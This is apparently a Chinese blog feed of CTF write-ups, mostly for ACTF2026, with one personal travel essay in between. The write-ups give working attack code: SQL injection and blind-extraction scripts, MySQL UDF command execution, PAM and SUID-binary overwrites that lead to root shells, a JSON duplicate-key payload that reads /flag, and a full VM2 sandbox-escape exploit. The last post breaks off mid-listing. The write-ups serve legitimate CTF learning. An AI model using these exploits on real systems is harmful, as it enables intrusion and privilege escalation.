$$(a_i \cdot m + b_i)^3 \equiv c_i \pmod{n_i}$$

可以据此为每一组构造一个高阶多项式方程式：

$$f_i(x) = (a_i \cdot x + b_i)^3 - c_i$$

从而真实未知的消息根 $m$ 一定完美使得 $f_i(m) \equiv 0 \pmod{n_i}$ 恒成立。

因为题目给出了 3 组完全独立的不同的模数 $n_i$，我们可以用中国剩余定理（CRT）把这三个独立的多项式完美拼接合并成一个模大数 $N$ 的单多项式方程式：

$$F(x) \equiv 0 \pmod N \quad (\text{其中 } N = n_1 \cdot n_2 \cdot n_3)$$

由于 Flag 本身的边界很短，明文根 $m$ 相对大数模数 $N$ 的量级非常小，且公钥方次 $e = 3$，完全契合 Coppersmith 单变量小根求解边界定理条件。我们可以直接通过 SageMath 下的多项式自带方法 .small_roots() 在格（Lattice）规约的帮助下轻松快速解出明文整数根。

SageMath 求解脚本

Python

from Crypto.Util.number import long_to_bytes
from sage.all import *

e = 3
# 填入题目给定的 3 组参数
n1 = ...; a1 = ...; b1 = ...; c1 = ...
n2 = ...; a2 = ...; b2 = ...; c2 = ...
n3 = ...; a3 = ...; b3 = ...; c3 = ...

N = n1 * n2 * n3
N1, N2, N3 = N // n1, N // n2, N // n3
t1, t2, t3 = inverse_mod(N1, n1), inverse_mod(N2, n2), inverse_mod(N3, n3)

PR.<x> = PolynomialRing(Zmod(N))
# CRT 多项式组合拼接
F = (
    ((a1*x + b1)^3 - c1) * N1 * t1 +
    ((a2*x + b2)^3 - c2) * N2 * t2 +
    ((a3*x + b3)^3 - c3) * N3 * t3
)
F = F.monic()

# 运用 Coppersmith 方法寻找小根
roots = F.small_roots(X=2^350, beta=1.0, epsilon=1/20)
if roots:
    print(long_to_bytes(int(roots[0])))

Flag: flag{83f32ba281c5fc035b02c2fe1e7a270e}

(三) ECDSA nonce 重用

解题思路

通过提取分析题目 challenge.json 附带的公开已知签名数组，能发现一个致命的安全设计缺陷：

$$\text{signature1_r} == \text{signature2_r}$$

在标准 ECDSA（椭圆曲线数字签名算法） 中，如果对两个不同的消息做数字签名时不幸重用/复用了相同的随机数 nonce $k$，因为随机点 $R = k \cdot G$ 保持不变，进而必然产生完全相同的签名分量 $r$ 。这使得私钥 $d$ 能够被以完全初等的代数方式直接恢复算出来。

根据标准 ECDSA 签名方程：

$$s_1 \equiv k^{-1}(z_1 + r \cdot d) \pmod n$$

$$s_2 \equiv k^{-1}(z_2 + r \cdot d) \pmod n$$

两方程相减可以成功消去含有未知私钥 $d$ 的那一项：

$$s_1 - s_2 \equiv k^{-1}(z_1 - z_2) \pmod n$$

从而我们可以直接恢复出本次签名的随机秘密参数 $k$ ：

$$k \equiv (z_1 - z_2) \cdot (s_1 - s_2)^{-1} \pmod n$$

获取到秘密的签名随机数 $k$ 后，随即可带回任意一行原本的签名公式，将唯一的终极私钥参数 $d$ 完整分离解算出来：

$$d \equiv (s_1 \cdot k - z_1) \cdot r^{-1} \pmod n$$

根据题目要求的 Flag 格式，将推导计算出的私钥 $d$ 转换成 16 进制小写格式，取其前 32 位拼接放入 flag{ecdsa_nonce_reuse_...} 中即可。

求解脚本

Python

import json
import hashlib

# secp256k1 标准曲线参数
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

def inv(a, m): return pow(a % m, -1, m)

with open("challenge.json", "r", encoding="utf-8") as f:
    c = json.load(f)

# 计算两份公开明文的哈希摘要值
z1 = int.from_bytes(hashlib.sha256(bytes.fromhex(c["message1"])).digest(), "big")
z2 = int.from_bytes(hashlib.sha256(bytes.fromhex(c["message2"])).digest(), "big")

r = int(c["signature1_r"])
s1 = int(c["signature1_s"])
s2 = int(c["signature2_s"])

# 数论倒数及乘法计算恢复私钥
k = ((z1 - z2) * inv(s1 - s2, n)) % n
d = ((s1 * k - z1) * inv(r, n)) % n

private_hex = format(d, "064x")
print("flag{ecdsa_nonce_reuse_" + private_hex[:32] + "}")

Flag: flag{ecdsa_nonce_reuse_7880119303429b4ed0e4237c584e0795}

水仙narcissu~向死而生

Sat, 23 May 2026 00:00:00 GMT

水仙narcissu~向死而生

我在水仙乡里写下这篇杂谈，啊，固然自己的选择是难得的，我不想放弃任何，我也不会失去任何，

好耀眼的阳光，如果不能如愿选择自己生存的方式的话。那真的叫活着吗

一眼望去尽是碧蓝的海面，以及心灵也跟着平静起来，

为了不直接反抗荒谬的逃避，死亡永远是选择

死亡的荒谬也是来源于我们的选择，以及影响

我相信着，仅此而已，比起及其自我活在荒诞的人

我更愿意做一个殉道者，事实如此

我要做的，只是活下去吧，其他的，交给我就好

太阳要把我的mac晒烧起来了

谨记现在的我，祝我自由，

随风而行，随风而去，

Soraのキセキ

很多东西都太过沉重，我担心的或许一直会成为我的束缚

但是，我喜欢的，我认同的，

很多时候与在万维网中的幽灵不一样，我不仅仅是一个幽灵

然而，真真切切的，复杂的事物混合的化学反应极难调和

烦恼，迷茫，但是依然循心而行吧，不完美的过程对我来说，

行进吧，不论是我的抗拒，或是迷茫，又是自私，我都接受

存在与心，与我，

但是，我会一直坚定地选择你，問いwhy?

因为，那是心之所往

oh，现在是1天后，我在大阪，看完了cowboy bebop

现在想来，我从来就不知到吧

就这样做一个美梦也不错，旅行的散漫也快要结束了，

美梦是没法一直持续下去的，深刻得意识到

无论如何，我都会坦然面对这一切吧，

如此如此，让时间流逝吧

ACTF2026 wp

Sun, 17 May 2026 00:00:00 GMT

GoMySql Writeup

一、Web 层分析

1. 基本信息

逆向 remote_myapp.bin 可以拿到硬编码 DSN：

root:root123456@tcp(localhost:3306)/testdb?parseTime=true&multiStatements=true&allowAllFiles=false

路由只有三个：

/
/calc
/draw

其中重点在 /calc。

2. `/calc` 的关键逻辑

/calc 会把用户输入包装成 SQL 表达式：

SELECT %s;

同时 DSN 中开启了：

multiStatements=true

这意味着，只要能够绕过过滤，就可以通过一条请求执行多条 SQL 语句。

例如理论上可以构造：

1;SHOW DATABASES;

最终后端实际执行的效果类似于：

SELECT 1;
SHOW DATABASES;

3. 黑名单分析

/calc 会先把输入转换成大写，然后进行黑名单检查。

黑名单包括：

INSERT
UPDATE
OUTFILE
DUMPFILE
FUNCTION
SCHEMA
_
FLAG
PREPARE
DELETE
DROP
ALTER
CREATE
UNION
SELECT
=
@@
SET
INTO

看起来限制很多，但仍然留下了几个关键语法：

SHOW
USE
DESC
TABLE

这些关键字都没有被拦截。

尤其是 TABLE 表名 很关键。

在 MySQL 中：

TABLE users;

等价于：

SELECT * FROM users;

但是输入中不需要出现 SELECT，因此可以绕过黑名单。

所以这题的本质是：

黑名单 SQL 注入 + MySQL 多语句执行绕过。

4. `/draw` 的情况

/draw 中有一个自定义模板引擎，支持类似下面的语法：

<\ func('arg'); unsafe />

其中确实存在 run(cmd) 之类的执行函数，最后会走：

/bin/sh -c <cmd>

但是 /draw 对输入做了额外限制，直接构造可用标签并不方便。

实际解题过程中，这条线不是主要利用点，更像是干扰项。

二、通过 SQL 注入拿到命令执行

1. 多语句探测

由于 multiStatements=true，可以先通过如下语句探测数据库结构：

1;SHOW DATABASES;

切换数据库：

1;USE testdb;SHOW TABLES;

查看表结构：

1;USE testdb;DESC 表名;

读取表内容：

1;USE testdb;TABLE 表名;

这里的重点是 TABLE 表名，因为它可以在不出现 SELECT 的情况下读取表内容。

2. 利用 UDF 拿命令执行

最终利用方向是 MySQL UDF。

整体思路如下：

上传 do_system_udf.so。
在 MySQL 中注册 UDF。
通过 do_system() 执行系统命令。

CREATE FUNCTION do_system RETURNS INTEGER SONAME 'do_system_udf.so';

之后即可执行命令：

SELECT do_system('id');

实际连接目标后确认身份：

uid=100(mysql) gid=101(mysql) groups=101(mysql)

也就是说，Web 层 RCE 拿到的是 mysql 用户权限。

三、本地提权分析

1. 目标环境

拿到 shell 后先摸环境。

当前用户：

mysql

系统版本：

Debian 12 bookworm

内核版本：

Linux 46b81d0535c2 4.18.0-240.el8.x86_64

关键 SUID 文件：

/usr/bin/su
/usr/bin/mount
/usr/bin/passwd
/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool

其中最特殊的是：

/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool

这个文件是 SUID root，并且会调用 PAM。

2. `auth_pam_tool` 分析

逆向 auth_pam_tool 后可以确认几个关键点。

首先，它很早就会执行：

setreuid(0, 0);

也就是说，后续逻辑会以 root 权限运行。

其次，它默认使用的 PAM service 名称是：

mysql

但是系统中不存在：

/etc/pam.d/mysql

因此 PAM 会 fallback 到：

/etc/pam.d/other

这就给了一个提权思路：

如果能够覆盖 /etc/pam.d/other，再触发 auth_pam_tool，就可以让 PAM 模块以 root 身份执行我们指定的逻辑。

3. 为什么不直接打自定义 service

一开始尝试过构造自定义 service，例如：

/tmp/mysvc
../../tmp/mysvc

然后把 service 名传给 auth_pam_tool。

但是实际触发时，auth_pam_tool 仍然表现得像是在走普通密码认证，并没有稳定加载我们自定义的 PAM 配置。

因此最后放弃硬怼自定义 service，换成更稳定的方式：

直接覆盖 /etc/pam.d/other。

四、使用 copy-fail 覆盖 PAM 配置

1. 利用方式

目标容器里没有 python3，所以不能直接把 Python 版 PoC 扔上去跑。

最终做法是：

本地把 copy-fail PoC 改写成 C 版本。
编译成静态 ELF。
上传到远端 /tmp/copyfail。
先对 /tmp/probe 做写入行为标定。
确认 step=4 可以稳定连续覆盖。
使用它覆盖 /etc/pam.d/other。

2. 写入的 PAM 配置

最终写入 /etc/pam.d/other 的内容如下：

auth sufficient pam_exec.so seteuid /tmp/pe.sh
account sufficient pam_permit.so
password sufficient pam_permit.so
session sufficient pam_permit.so

第一行是核心：

auth sufficient pam_exec.so seteuid /tmp/pe.sh

含义是：

认证阶段加载 pam_exec.so
使用 seteuid 保持有效 UID
执行 /tmp/pe.sh
如果执行成功，则认证通过

由于触发者是 SUID root 程序，所以 /tmp/pe.sh 会以 root 身份执行。

3. 准备 root 脚本

提前写入 /tmp/pe.sh：

#!/bin/sh
id >/tmp/pid
cp /bin/sh /tmp/r
chmod 4755 /tmp/r
cat /flag >/tmp/f 2>/tmp/e
chmod 644 /tmp/pid /tmp/f /tmp/e 2>/dev/null
exit 0

这个脚本做了几件事：

把当前身份写入 /tmp/pid。
复制 /bin/sh 到 /tmp/r。
给 /tmp/r 加上 SUID 权限。
读取 /flag 到 /tmp/f。
调整输出文件权限，方便后续读取。

五、触发提权

覆盖完 /etc/pam.d/other 后，再次调用：

/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool

由于默认 service 仍然是：

mysql

而系统中不存在：

/etc/pam.d/mysql

所以 PAM 会 fallback 到：

/etc/pam.d/other

也就是我们刚刚覆盖的配置。

最终触发：

pam_exec.so seteuid /tmp/pe.sh

/tmp/pe.sh 以 root 身份执行。

六、提权结果

成功后，远端生成三个关键文件：

/tmp/pid
/tmp/r
/tmp/f

其中：

/tmp/pid

记录执行身份，结果为：

uid=0(root) gid=101(mysql)

/tmp/r 是 SUID shell。

/tmp/f 是 /flag 的内容。

验证 SUID shell：

/tmp/r -p -c 'id'

结果类似：

uid=100(mysql) gid=101(mysql) euid=0(root) groups=101(mysql)

说明已经获得 euid=0。

七、最终读取 flag

可以直接读取 /tmp/f：

cat /tmp/f

得到：

ACTF{y0u1_sqI_Y0ur_Go!!!!!_dxqmcFIr4ZCpo5OeNqSL}

也可以使用 SUID shell 读取：

/tmp/r -p -c 'cat /flag'

12307 Writeup

题目概览

题目是一个模拟购票系统，整体利用链比较长，核心流程为：

伪造移动端身份。
下单进入候补状态。
利用后台票价重算接口中的 SQL 注入盲注数据。
构造 claim_proof 注入权限声明。
激活候补席位。
利用 JSON 重复键解析差异绕过校验。
通过打印驱动读取 /flag。

一、绕过移动端身份验证

首先需要绕过移动端身份验证。

接口：

POST /api/mobile/identity/continue

提交 payload：

payload = {
    "trustLevel": ["mobile", "partner", "settlement"],
    "continuation": {"fake": True}
}

这里的关键是触发后端的：

partnerContinuation()

通过伪造合作方续期，可以获得一个可用会话。

二、创建候补订单

接下来订一张票。

需要注意：

G7608 次列车的商务座余票为 0

因此选择商务座时，订单会进入候补状态。

先获取 waitlist_session：

POST /api/mobile/orders/hold

然后创建订单：

POST /api/mobile/orders

示例数据：

order_data = {
    "trainNo": "G7608",
    "seatClass": "business",
    "passenger": {
        # passenger info
    }
}

这里选择：

seatClass = business

就是为了强制让订单进入候补逻辑。

三、后台票价重算接口 SQL 注入

漏洞接口：

POST /api/desk/fares/reprice

问题出在：

fare_scope_expression()

该函数接受如下格式：

{
  "mode": "legacy-rank",
  "expr": "..."
}

其中 expr 会被直接拼接到 ORDER BY 子句中。

因此可以利用排序结果作为布尔判断依据。

四、利用 bucket 字段做布尔盲注

接口返回中存在 bucket 字段，可以用它判断条件真假。

判断规则：

north-window → BJP 排第一 → True
local-window → HGH 排第一 → False

所以可以构造：

payload = {
    "mode": "legacy-rank",
    "expr": "IF(condition, 'BJP', 'HGH')"
}

如果响应中出现：

north-window

说明条件为真。

如果出现：

local-window

说明条件为假。

五、盲注提取 claim 数据

需要盲注提取：

claim_salt
claim_digest 前 12 位

示例脚本：

def blind_extract():
    extracted = ""

    for pos in range(1, 13):
        for ch in charset:
            payload = {
                "mode": "legacy-rank",
                "expr": f"IF(SUBSTRING(claim_digest,{pos},1)='{ch}', 'BJP', 'HGH')"
            }

            resp = requests.post(
                "http://target/api/desk/fares/reprice",
                json=payload
            )

            if "north-window" in resp.text:
                extracted += ch
                break

    return extracted

拿到数据后构造：

claim_proof = f"CP-{claim_salt}-{claim_digest[:12]}"

这个 claim_proof 后续会用于翻转多个数据库状态，并注入布局权限声明。

六、激活候补席位

使用新的 waitlist_session 激活订单：

POST /api/mobile/waitlist/pulse

数据：

pulse_data = {
    "orderId": order_id,
    "state": "boarding"
}

然后建立 WebSocket 连接获取频道：

ws = websocket.connect(
    "ws://target/api/connect/boarding?stationCode=HGH"
)

七、JSON 重复键解析差异

关键漏洞在：

verify_carrier_seal()

这个函数会对同一个 JSON 解析两次。

第一次：

public_view

使用“第一个键获胜”的逻辑，类似 Python 的 object_pairs_hook。

第二次：

render_view

使用正常 JSON 解析逻辑，也就是“最后一个重复键获胜”。

因此可以构造重复键：

{
  "printProfile": "counter-copy",
  "printer": "thermal-standard",
  "printProfile": "clearing-batch",
  "printer": "line-printer",
  "driverProgram": "/usr/bin/base64",
  "driverArgument": "/flag"
}

第一次解析看到的是：

{
  "printProfile": "counter-copy",
  "printer": "thermal-standard"
}

可以通过校验。

第二次真正使用时看到的是：

{
  "printProfile": "clearing-batch",
  "printer": "line-printer",
  "driverProgram": "/usr/bin/base64",
  "driverArgument": "/flag"
}

从而控制打印驱动读取 /flag。

八、构造恶意 carrierSeal

接口：

POST /api/corporate/receipts/prepare

恶意 payload：

malicious_payload = {
    "carrierSeal": {
        "payload": json.dumps({
            "printProfile": "counter-copy",
            "printer": "thermal-standard",

            "printProfile": "clearing-batch",
            "printer": "line-printer",
            "driverProgram": "/usr/bin/base64",
            "driverArgument": "/flag"
        })
    }
}

这里利用重复键，使得校验视图和渲染视图不一致。

九、触发打印并读取结果

创建清算批次：

POST /api/corporate/reconciliation

数据：

reconcile_data = {
    "type": "carrier-closeout",
    "template": "{{reconciliation.receipt}}"
}

调度结算：

POST /api/corporate/settlement/schedule

最后轮询结果：

GET /api/corporate/reconciliation/{batch_id}

返回内容中即可拿到 /flag 的 base64 结果，解码即可。

Real dlsite Writeup

题目概览

题目是一个类网盘 / 文件管理系统，主要包含两个部分：

先通过 /manage 后台和 SQLite 写文件拿到 PHP RCE。
再利用 go-drive 配置和 task runner panic，切到 app 用户命令执行。
最后利用 CVE-2026-31431 copy-fail patch /usr/bin/su。
通过 cron 绕过 NoNewPrivs，最终读取 root flag。

一、进入 `/manage` 后台

/manage 提交空密码对应的 hash 后，可以成功登录后台。

登录后可以任意执行 SQL 语句。

由于目标使用的是 SQLite，并且 SQLite 版本支持：

VACUUM INTO '/path/to/file';

因此可以通过 SQLite 写文件。

这一步可以落地一个 WebShell，例如写入 ws.php。

二、用 `ws.php` 拿到 PHP RCE

通过 SQLite 写入 ws.php 后，可以获得 PHP 层面的命令执行。

但是 PHP RCE 受到多重限制：

open_basedir
disable_functions
NoNewPrivs

所以直接使用 PHP RCE 的能力非常有限。

接下来需要转向利用 go-drive 本身，拿到更稳定的 app 用户命令执行。

三、利用 go-drive 配置拿 app 用户 RCE

1. 登录 `/new` 后台

使用默认账号登录：

admin / 123456

2. 新建两个 fs drive

创建两个 fs 类型 drive：

appx -> ../../../../app
tmpx -> ../../../../tmp

作用分别是：

appx：用于访问和覆盖 /app 目录。
tmpx：用于访问 /tmp 目录。

3. 覆盖 `/app/config.yml`

修改 /app/config.yml，在 thumbnail.handlers 中插入一个新的 shell handler，只匹配 .cmd 文件。

核心配置如下：

type: shell
tags:
file-types: cmd
config:
  shell: sh /tmp/cmd.sh
  mime-type: text/plain
  write-content: false
  max-size: -1
  timeout: 30s

这段配置的作用是：

当访问 .cmd 文件缩略图时，go-drive 会调用：

sh /tmp/cmd.sh

从而获得 app 用户命令执行。

4. 触发 go-drive 重启使配置生效

配置写入后不会立即生效，需要让 go-drive 重启。

做法是：

写一个恶意 script drive。
让它的 save() 返回 null。
对这个 drive 发起一次写操作。
触发 go-drive task runner panic。
supervisor 自动重启 go-drive。
新配置生效。

5. 触发 app 用户命令执行

配置生效后，只需要访问：

/new/thumbnail/tmpx/xxx.cmd?_k=...

就会触发 thumbnail handler。

最终执行：

sh /tmp/cmd.sh

此时获得稳定的 app 用户命令执行。

四、评估本地提权路线

拿到 app 用户 shell 后，先确认环境。

当前身份：

uid=1000(app)

关键限制：

NoNewPrivs=1

也就是说，当前 webshell 进程中直接执行 SUID 程序不会获得提权效果。

继续检查发现：

StorageBox 的 SUID 在当前 shell 下失效
/usr/bin/su 存在，权限为 4755

同时验证 AF_ALG 可用：

socket(AF_ALG, SOCK_SEQPACKET, 0)
bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

这两步都成功，说明目标环境是 CVE-2026-31431 copy-fail 的可利用候选。

五、使用 CVE-2026-31431 patch `/usr/bin/su`

这里使用公开 PoC 的思路。

Theori 的 PoC 本质上是：

通过 copy-fail 把目标 SUID ELF 覆盖成一个极小 launcher。

原版 launcher 最后会执行：

/bin/sh

这里将内置字符串改成：

/tmp/x

然后用 copy-fail 写入：

/usr/bin/su

这样 /usr/bin/su 就被替换成了一个 SUID root launcher。

当它被执行时，会以 root 权限执行：

/tmp/x

六、为什么不能直接执行 patched su

虽然 /usr/bin/su 已经被 patch 成 launcher，但在当前 app webshell 中直接执行它没有效果。

原因是当前进程存在：

NoNewPrivs=1

这个标志会导致子进程无法通过 SUID 获得新的权限。

也就是说：

/usr/bin/su

在当前 shell 里执行，不会真正提权。

所以需要找一个不继承当前 NoNewPrivs 的执行入口。

七、利用 app 用户 cron 绕过 NoNewPrivs

关键观察：

crontab 命令存在
app 用户可以安装自己的 crontab
cron 拉起的进程不会继承当前 webshell 的 NoNewPrivs=1

因此可以通过 cron 触发 patched /usr/bin/su。

1. 准备 root 执行脚本 `/tmp/x`

/tmp/x 中写入要以 root 执行的命令。

例如：

#!/bin/sh
id > /tmp/proofroot
cat /root/0-0/flag > /tmp/flagroot
chmod 0644 /tmp/flagroot
exit 0

2. 安装 app 用户 cron

准备 cron 内容：

cat /tmp/sucmds | /usr/bin/su

由于此时 /usr/bin/su 已经被 patch 成 SUID root launcher，cron 到点执行时流程如下：

cron 以 app 用户身份执行任务。
执行 /usr/bin/su。
/usr/bin/su 是 SUID root。
launcher 以 root 身份执行 /tmp/x。
/tmp/x 读取 root flag 并写入 /tmp/flagroot。

八、提权结果

实际观察到：

/tmp/proofroot owner 变成 0
/tmp/flagroot owner 变成 0

说明 /tmp/x 已经以 root 身份执行成功。

读取：

cat /tmp/proofroot

可以看到 root 身份。

读取：

cat /tmp/flagroot

即可获得最终 flag。

九、总结

这题的完整利用链可以分成三段。

第一段：从后台到 PHP RCE

通过 /manage 空密码 hash 登录后台。
利用 SQLite VACUUM INTO 写入 ws.php。
访问 ws.php，获得 PHP RCE。

第二段：从 PHP RCE 到 app 用户 RCE

登录 /new 后台。
新建 appx 和 tmpx 两个 fs drive。
覆盖 /app/config.yml，在 thumbnail.handlers 中加入 shell handler。
构造恶意 script drive，让 save() 返回 null。
触发一次写操作，使 go-drive task runner panic。
supervisor 自动重启 go-drive，新配置生效。
访问 .cmd 文件缩略图，触发 sh /tmp/cmd.sh，获得 app 用户 RCE。

第三段：从 app 用户到 root flag

使用 CVE-2026-31431 copy-fail patch /usr/bin/su。
将 /usr/bin/su 替换成 SUID root launcher。
由于当前 webshell 存在 NoNewPrivs=1，不能直接执行 patched su。
安装 app 用户 cron，让 cron 执行 patched /usr/bin/su。
cron 拉起的进程不继承当前 webshell 的 NoNewPrivs 限制。
patched /usr/bin/su 以 root 权限执行 /tmp/x。
/tmp/x 读取 root flag，并写入 /tmp/flagroot。
最后读取 /tmp/flagroot，获得最终 flag。

核心点有三个：

SQLite VACUUM INTO 写文件。
go-drive thumbnail handler 配置劫持。
CVE-2026-31431 + cron 绕过 NoNewPrivs。

VM2@3.11.2沙箱逃逸

Sat, 16 May 2026 00:00:00 GMT

很新的重磅CVE，VM2利用底层的V8进行的沙箱逃逸

为此，clone了一份VM2@3.11.2的源码

入口是

run(code, options) {
  let script;
  let filename;

  if (typeof options === 'object') {
    filename = options.filename;
  } else {
    filename = options;
  }

  if (code instanceof VMScript) {
    script = code._compileVM();
    checkAsync(this._allowAsync || !code._hasAsync);
  } else {
    const useFileName = filename || 'vm.js';
    let scriptCode = this._compiler(code, useFileName);
    const ret = transformer(null, scriptCode, false, false, useFileName);
    scriptCode = ret.code;
    checkAsync(this._allowAsync || !ret.hasAsync);
    // Compile the script here so that we don't need to create a instance of VMScript.
    script = new Script(scriptCode, {
      __proto__: null,
      filename: useFileName,
      displayErrors: false,
    });
  }

可以看到核心校验在const ret = transformer(null, scriptCode, false, false, useFileName);

code被传入了transformer，

可以看到最上面就导入了const {full: acornWalkFull} = require('acorn-walk');

AST的语法扫描库，动态扫描AST的每一个节点，那看看是怎么进行判断的

acornWalkFull(ast, (node, state, type) => {
        if (type === 'Function') {
            if (node.async) hasAsync = true;
        }
        const nodeType = node.type;
        if (nodeType === 'CatchClause') {
            const param = node.param;
            if (param) {
                if (param.type === 'Identifier') {
                    const name = assertType(param, 'Identifier').name;
                    const cBody = assertType(node.body, 'BlockStatement');
                    if (cBody.body.length > 0) {
                        insertions.push({
                            __proto__: null,
                            pos: cBody.body[0].start,
                            order: TO_LEFT,
                            coder: () => `name={INTERNAL_STATE_NAME}.handleException(${name});`
                        });
                    }
                } else {
                    insertions.push({
                        __proto__: null,
                        pos: node.start,
                        order: TO_RIGHT,
                        coder: () => `catch(${tmpname}){tmpname={INTERNAL_STATE_NAME}.handleException(${tmpname});try{throw ${tmpname};}`
                    });
                    insertions.push({
                        __proto__: null,
                        pos: node.body.end,
                        order: TO_LEFT,
                        coder: () => `}`
                    });
                }
            }

当传入的代码有catch error时

为了防止拿到constructor的function方法，这里对于AST树做了push，改写 catch，

让异常先过 handleException ，当然，promise在bridge.js也做了hook，

在VM2表面的源码来看仿佛是没什么可能性了，

在Promise和异常被ban的情况下，这个CVE揭示了一些新的方向思考

nodejs，以及chrome内核原始的js都是依赖于V8的实现，

这个引擎是C为底层实现的

难点在于我们如何不通过上述的两种方式以调用异常

catch不行，new一个error类也不行，因为类已经经过了净化，这里就可以调用非catch和promise

的方法去获取error对象，请看

class E extends Error {}

function so(d) {
    if (d > 0) so(d - 1);

    const e = new E();
    e.stack;

    throw e;
}

这里传入的d可以是两种结果，当然，

这是尚未经过catch的e

async function* helper() {
    yield* {
        [Symbol.asyncIterator]: () => ({
            next: v => ({ value: v, done: false })
        })
    };
}

async function doCatch(f) {
    const i = helper();

    await i.next();

    const v = await i.return({
        then(r) {
            f();
            r();
        }
    });

    return v.value;
}

(async function f() {
    let min = 0;
    let max = 10000000;

    while (min < max) {
        const mid = (min + max) >> 1;

        const e = await doCatch(() => so(mid));

        if (e.name === "RangeError" && !(e instanceof RangeError)) {
            const process = e.constructor.constructor("return process")();
            const cp = process.mainModule.require("child_process");

            const cmd = process.platform === "win32"
                ? "cmd /c echo pwned>pwned.txt"
                : "touch pwned";

            cp.execSync(cmd);

            return "escaped";
        }

        if (e instanceof E) {
            min = mid + 1;
        } else {
            max = mid;
        }
    }

    return "not triggered";
})();

so只有两个结果，一个是爆栈，另一个就是抛RangeError.

helper是异步迭代生成器，当一个对象要想有异步迭代iterator

就要有Symbol.asyncIterator

在 const e = await doCatch(() => so(mid));时候doCatch可能会收到RangeError，

然后i.return尝试关闭 generator，并处理传入的 thenable

i.return({
        then(r) {
            f();
            r();
        }
    });

这其中是有then方法的,V8会默认调用，then里会执行so(mid)，这里可能会抛出的RangeError就会被通过

V8默认调用的方法跑完这个流程，并且赋值给e，

这时已经完成了对VM2的绕过，这里并未利用catch和promise等等方法，拿到e后，

const process = e.constructor.constructor("return process")();

至此终了了

空密码后台 → SQLite 落地 Webshell → 内核 CVE-2026-31431 root

Tue, 12 May 2026 00:00:00 GMT

dlsite(空密码后台 → SQLite 落地 Webshell → 内核 CVE-2026-31431 root)

看看主站是什么

Your site is working normally! Access data at /data, or new site at /new

没发现端倪，附件只给了个docker，去看看

RUN cd /var/www/html && \
    rm -rf ./* && \
    git clone --depth=1 https://github.com/mnihyc/dlsite.git . && \
    touch index.html && \
    sed -i '9 i Your site is working normally! Access data at <a href="/data/">/data</a>, or new site at <a href="/new/#/_/test">/new</a>' dl/index.html && \
    ln -s /app/data/local/test dl/data && \
    sqlite3 db.sqlite "CREATE TABLE CONFIG(NAME NTEXT NOT NULL,TYPE NTEXT NOT NULL,VALUE NTEXT NOT NULL,PRIMARY KEY (NAME,TYPE));" && \
    chown -R root:www-data . && \
    find . -type d -exec chmod 1775 {} + && \
    find . -type f -exec chmod 0664 {} +

这里看到后端是https://github.com/mnihyc/dlsite

并且继续往下，

RUN cat > /etc/apache2/sites-available/000-default.conf <<'EOF'
<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    RewriteEngine On
    RewriteCond %{REQUEST_URI} !^/(main\.php|assets/|favicon\.ico$|robots\.txt$|new(?:/|$)|ancient(?:/|$))
    RewriteRule ^ /main.php [L]

    <Directory /var/www/html>
        Options FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>

    <FilesMatch \.php$>
        SetHandler "proxy:unix:/run/php/php-fpm.sock|fcgi://localhost"
    </FilesMatch>

    <Directory /app/data/local/test>
        Options FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>

    ProxyPreserveHost On
    <LocationMatch "^/ancient$">
        SetHandler "proxy:unix:/run/apache2/ancient.sock|fcgi://localhost"
        ProxyFCGIBackendType GENERIC
        ProxyFCGISetEnvIf "true" SCRIPT_FILENAME "/app/data/local/test/index.cgi"
        ProxyFCGISetEnvIf "true" SCRIPT_NAME "/ancient"
    </LocationMatch>
    Alias /ancient/ /app/data/local/test/

    ProxyPass /new http://127.0.0.1:8089/new
    ProxyPassReverse /new http://127.0.0.1:8089/new

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
EOF

apache将main.php后跟着的现存目录都重定向回去，.php走socket直接给php-fpm

接下来就是审计后端

if(!OLDSTYLE_PATH || SUPPORT_NEWPATH)
    {
        $ismanage=($opath=='/manage');
        if($opath=='/view' || $opath=='/down' || $opath=='/manage')
        {
            $ropath='';
            if(substr($inpasswd,0,2)=='p=')
            {
                $ropath=substr($inpasswd,2);
                if($ismanage)
                    $inpasswd='manage';
                else
                    $inpassver=isset($_POST['pass']);
                if(($vpos=strpos($ropath,'&'))!==FALSE)
                {
                    $inpasswd=substr($ropath,$vpos+1);
                    $inpassver|=!empty($inpasswd);
                    $ropath=substr($ropath,0,$vpos);
                }
            }

如果请求是/mange，覆盖$inpasswd='manage';

然后截取的就是密码字段，接着就是

if($inpasswd==='manage')
    {
        ob_start();
        htmlmsg();
        if(checkmanagepassword())
        {
            /* Insert a record */
            if(isset($_POST['qi']))
            {
                global $db;
                $db->execwf("INSERT INTO CONFIG (NAME,TYPE,VALUE) VALUES ('{$db->escapeString($_POST['namei'])}','{$db->escapeString($_POST['typei'])}','{$db->escapeString($_POST['valuei'])}')");
            }
            /* Delete a record */
            if(isset($_POST['qd']))
            {
                global $db;
                $db->execwf("DELETE FROM CONFIG WHERE NAME='{$db->escapeString($_POST['named'])}' AND TYPE='{$db->escapeString($_POST['typed'])}'");
            }
            /* Update a record */
            if(isset($_POST['qu']))
            {
                global $db;
                $db->execwf("UPDATE CONFIG SET VALUE='{$db->escapeString($_POST['valueu'])}' WHERE NAME='{$db->escapeString($_POST['nameu'])}' AND TYPE='{$db->escapeString($_POST['typeu'])}'");
            }
            
            if(is_dir(__DIR__.FILE_DIR.$opath) && substr($opath,-1,1)!=='/')
                $opath.='/';
            $qsql="SELECT NAME,TYPE,VALUE FROM CONFIG WHERE NAME LIKE '{$db->escapeString($opath)}%'";
            if(isset($_POST['sql']) && !empty($_POST['sql']))
                $qsql=$_POST['sql'];
            $qnamei=$opath;
            if(isset($_POST['qi']) && isset($_POST['namei']) && !empty($_POST['namei']))
                $qnamei=$_POST['namei'];
            global $db;
            $res=$db->queryarr($qsql);

发现在check时候

function checkmanagepassword()
    {
?>
<div class="table-responsive">
        <table class="table table-striped table-sm">
            <thead>
                <tr>
                    <th class="d-table-cell">
                        <div class="container">
